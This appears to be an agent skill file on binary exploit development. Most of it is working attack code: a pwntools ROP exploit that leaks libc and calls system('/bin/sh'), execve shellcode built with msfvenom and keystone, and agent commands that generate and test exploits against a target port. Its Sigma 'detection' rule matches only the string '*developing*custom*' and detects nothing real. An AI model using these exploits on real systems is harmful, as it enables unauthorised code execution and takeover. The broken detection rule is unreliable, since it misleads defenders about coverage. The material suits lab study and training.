<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: developing-custom-exploits
description: >-
  Develop custom exploits for binary vulnerabilities using pwntools, ROP chains, shellcode generation, and ASLR/DEP bypass techniques targeting stack overflows, heap corruption, and format string bugs.
domain: cybersecurity
subdomain: exploit-development
tags:
  - pwntools
  - rop
  - shellcode
  - buffer-overflow
  - heap-exploit
  - format-string
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1203"]
  frameworks: ["MITRE ATT&CK", "Metasploit"]
  tools: ["pwntools", "ropper", "GDB", "checksec"]
---

# Developing Custom Exploits

## Overview

Custom exploit development transforms vulnerability primitives — crashes, memory
corruption, info leaks — into reliable code execution. This covers stack overflows,
heap corruption, format strings, and use-after-free with modern mitigation bypasses.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `python3` | Security tooling |
| `pwntools` | Security tooling |
| `ropper` | Security tooling |
| `gdb with pwndbg/GEF` | Security tooling |
| Target binary and libraries from vulnerable system | Environment requirement |
| `checksec` for binary protection enumeration | Environment requirement |
| Isolated lab with matching target environment | Environment requirement |

## Workflow

### Step 1: Binary Analysis

```bash
# Enumerate binary protections
checksec --file=./vuln_binary
# Output: RELRO STACK_CANARY NX PIE RPATH RUNPATH Symbols

# Find ROP gadgets
ropper --file ./vuln_binary --search "pop rdi; ret"
RON_gadget=$(ropper --file ./vuln_binary --search "pop rdi; ret" | head -1 | awk '{print $1}')

# Identify crash offset with cyclic pattern
python3 -c "from pwn import *; print(cyclic(256).decode())" | ./vuln_binary
```

### Step 2: Exploit Construction with pwntools

```python
from pwn import *

context.binary = elf = ELF("./vuln_binary")
context.log_level = "info"
libc = ELF("./libc.so.6")

# Stage 1: Leak libc address via GOT
p = process(elf.path)
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call(elf.symbols["main"])

offset = 72  # determined from cyclic_find
p.sendlineafter(b"> ", flat(b"A" * offset, rop.chain()))
leaked = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leaked - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")

# Stage 2: ret2libc for shell
rop2 = ROP(libc)
rop2.call("system", [next(libc.search(b"/bin/sh\x00"))])
p.sendlineafter(b"> ", flat(b"A" * offset, rop2.chain()))
p.interactive()
```

### Step 3: Shellcode Development

```bash
# Generate custom shellcode with msfvenom
msfvenom -p linux/x64/exec CMD="/bin/sh" -f python -b '\x00\x0a\x0d'

# Assemble custom shellcode with keystone
python3 -c "
from keystone import Ks, KS_ARCH_X86, KS_MODE_64
ks = Ks(KS_ARCH_X86, KS_MODE_64)
code = 'xor rsi, rsi; push rsi; mov rdi, 0x68732f6e69622f; push rdi; mov rdi, rsp; xor rdx, rdx; mov al, 59; syscall'
enc, _ = ks.asm(code)
print(bytes(enc).hex())
"
```

### Step 4: Agent-Assisted Exploit Building

```bash
# Analyze a binary for exploitable conditions
node scripts/agent.js analyze --binary ./vuln_binary

# Generate exploit skeleton from crash input
node scripts/agent.js generate --binary ./vuln_binary --crash crash_input.bin

# Test exploit reliability across runs
node scripts/agent.js test --exploit exploit.py --target localhost --port 9999 --runs 50
```

## Detection

```yaml
title: Custom Exploits Detection
id: 2c532af9-0df4-4334-a2ca-b1e2af4f1c3f
status: experimental
description: Detects suspicious activity related to developing custom exploits techniques in exploit development context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*developing*custom*"
  condition: selection
level: critical
tags:
  - attack.t1190
  - attack.t1203
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Custom Exploits Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1190, T1203 |

## Verification

- [ ] Binary protections enumerated and bypass strategy documented
- [ ] ROP chain or shellcode achieves reliable code execution
- [ ] Exploit handles ASLR via information leak
- [ ] Success rate > 90% across 50+ test runs
- [ ] Exploit documented with memory layout diagrams

## References

- [pwntools Documentation](https://docs.pwntools.com/) — Exploit development library
- [ROP Emporium](https://ropemporium.com/) — ROP chain training challenges
- [ropper](https://github.com/sashs/Ropper) — ROP gadget finder
